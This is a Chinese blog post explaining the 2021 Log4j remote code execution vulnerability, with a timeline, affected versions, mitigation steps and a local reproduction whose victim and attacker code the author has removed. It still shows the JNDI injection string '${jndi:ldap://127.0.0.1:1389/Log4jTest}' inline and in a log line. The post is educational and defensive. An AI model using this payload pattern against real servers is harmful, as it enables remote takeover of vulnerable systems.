未读代码 未读代码
首页
  • Java 18 新功能介绍
  • Java 17 新功能介绍
  • Java 16 新功能介绍
  • Java 15 新功能介绍
  • Java 14 新功能介绍
  • Java 8 新特性

    • Java 8 Lambda 表达式
    • Java 8 Stream 流式操作
    • Java 8 时间处理介绍
    • Java 8 Optional 介绍
  • Java 开发工具
Java 源码分析
Spring Boot 系列
  • Arthas 问题定位
  • JMH 基准测试
GitHub (opens new window)
首页
  • Java 18 新功能介绍
  • Java 17 新功能介绍
  • Java 16 新功能介绍
  • Java 15 新功能介绍
  • Java 14 新功能介绍
  • Java 8 新特性

    • Java 8 Lambda 表达式
    • Java 8 Stream 流式操作
    • Java 8 时间处理介绍
    • Java 8 Optional 介绍
  • Java 开发工具
Java 源码分析
Spring Boot 系列
  • Arthas 问题定位
  • JMH 基准测试
GitHub (opens new window)
  • Java 开发

    • 你好 ChatGPT, 帮我看下这段代码有什么问题?
    • 如何搭建一个自己的音乐服务器
    • JUnit 5 单元测试教程
    • 使用 StringUtils.split 的坑
    • 必应壁纸,我的第一个 400 Star 开源项目
    • Java 中的对象池实现
    • 5种限流算法,7种限流方式,挡住突发流量?
    • Java 中拼接 String 的 N 种方式
    • 字符作画,我用字符画个冰墩墩
    • 5 分钟复现 log4J 漏洞,手把手实现
      • 0x01. 漏洞情况
      • 0x02. 安全建议
      • 0x03. 漏洞复现
        • 3.1. 环境模拟 - 受害者小白服务
        • 3.2. 环境模拟 - 攻击者服务
        • 3.3. 测试
    • 如何使用 Github Actions 自动抓取每日必应壁纸?
    • 撸了个多线程断点续传下载器,我从中学习到了这些知识
    • 三种骚操作绕过迭代器遍历时的数据修改异常
    • 一篇有趣的负载均衡算法实现
    • Java 中 RMI 的使用
    • Java 开发的编程噩梦,这些坑你没踩过算我输
  • Java 开发工具

  • 消息中间件

  • Java 开发
  • Java 开发
程序猿阿朗
2021-12-10

5 分钟复现 log4J 漏洞,手把手实现

2021-12-18 更新:2.17 版本已经发布,请更新到最新版本。

2021年12月10日凌晨前,网上曝出了 log4j 的核弹级漏洞,这种漏洞超级高危,操作简单,利用方便,适用范围广,可以直接任意代码执行,接管你的服务器。

此处思考曝光者凌晨曝光的原因,或许选择凌晨曝光,想着无数工程师半夜起来紧急修复,让 TA 产生了变态的快感。

我知道你们是想看什么的,就是想看如何演示,不过还是先看下如何修复,提高下安全意识。

# 0x01. 漏洞情况

Apache Log4j2是一款优秀的Java日志框架。由于 Apache Log4j2 某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置。

这里贴下漏洞公开级别。

漏洞细节 漏洞PoC 漏洞EXP 在野利用
公开 公开 公开 存在

通过网上公开资料,这个漏洞的细节已经完全公开,这里简单演示,让大家了解漏洞情况,尽快安全升级。

根据网络公开新闻,可以梳理出以下时间脉络:

  • 2021年 11 月 24 日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。

  • 2021年12月06日,log4j2 发布修复包 log4j-2.15.0-rc1.jar

  • 2021年12月10日,log4j2 发布修复包 log4j-2.15.0-rc2.jar

  • 2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本。

实际受影响范围如下:

Apache Log4j 2.x < 2.15.0-rc2

# 0x02. 安全建议

  1. 排查应用是否引入了 Apache log4j-core Jar 包,若存在依赖引入,且在受影响版本范围内,则可能存在漏洞影响。请尽快升级Apache Log4j2所有相关应用到最新的 log4j-2.15.0-rc2 版本,地址 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 (opens new window)

  2. 升级已知受影响的应用及组件,如 spring-boot-starter-log4j2/Apache Struts2/Apache Solr/Apache Druid/Apache Flink

  3. 临时缓解方案。可升级jdk版本至6u211 / 7u201 / 8u191 / 11.0.1以上,可以在一定程度上限制JNDI等漏洞利用方式。对于大于2.10版本的Log4j,可设置 log4j2.formatMsgNoLookups 为 True,或者将 JndiLookup 类从 classpath 中去除,例如 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

# 0x03. 漏洞复现

以下测试,只做学习分析之用,不要于其他用途!单机演示,所有地址都是 127.0.0.1。

本来不准备画图的,但是很多同学以为注入漏洞就是简单的运行网上的 ${jndi:ldap://127.0.0.1:1389/Log4jTest} ,我觉得还是有必要画个图简单说明一下, 一个简单的攻击链路步骤图,画的匆忙见谅。

# 3.1. 环境模拟 - 受害者小白服务

这里删除了,发布后感觉不太好,可能会被有其他心思的人利用,删除了。想了解的直接微信搜索程序猿阿朗交流,

# 3.2. 环境模拟 - 攻击者服务

这里删除了,发布后感觉不太好,可能会被有其他心思的人利用,删除了。想了解的直接微信搜索程序猿阿朗交流,

# 3.3. 测试

受害者小白服务再次运行,原本只简单打印一行日志,现在多了一行说明信息。

无害测试,没有攻击性,linux/mac 创建文本:xxxyyyzzz.txt;windows 弹出计算器。最后求关注,公众号:程序猿阿朗
20:21:57.780 [main] ERROR Log4j2 - params:${jndi:ldap://127.0.0.1:1389/Log4jTest}
1
2

同时运行项目目录多了一个文件 xxxyyyzzz.txt

如果你是在 windows 上运行测试,那么会弹出一个计算器。

一如既往,文章中的代码存放在:github.com/niumoo/lab-notes (opens new window)

订阅

文章持续更新,订阅可以关注「 程序猿阿朗 」公众号或者未读代码博客。

文章作者: 程序猿阿朗
文章链接:https://www.wdbyte.com/java/log4j-poc.html
版权声明:本网站当前文章采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 未读代码!
#log4j
上次更新: 2023/03/15, 09:22:31
字符作画,我用字符画个冰墩墩
如何使用 Github Actions 自动抓取每日必应壁纸?

← 字符作画,我用字符画个冰墩墩 如何使用 Github Actions 自动抓取每日必应壁纸?→

最近更新
01
JFR 使用教程
03-15
02
JMC 使用教程
03-15
03
你好 ChatGPT, 帮我看下这段代码有什么问题?
02-14
更多文章>

提示:评论前请刷新页面,否则评论的可能不是当前文章。

Theme by Vdoing | Copyright © 2018-2023 程序猿阿朗 | MIT License | 皖ICP备20000567号-1
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式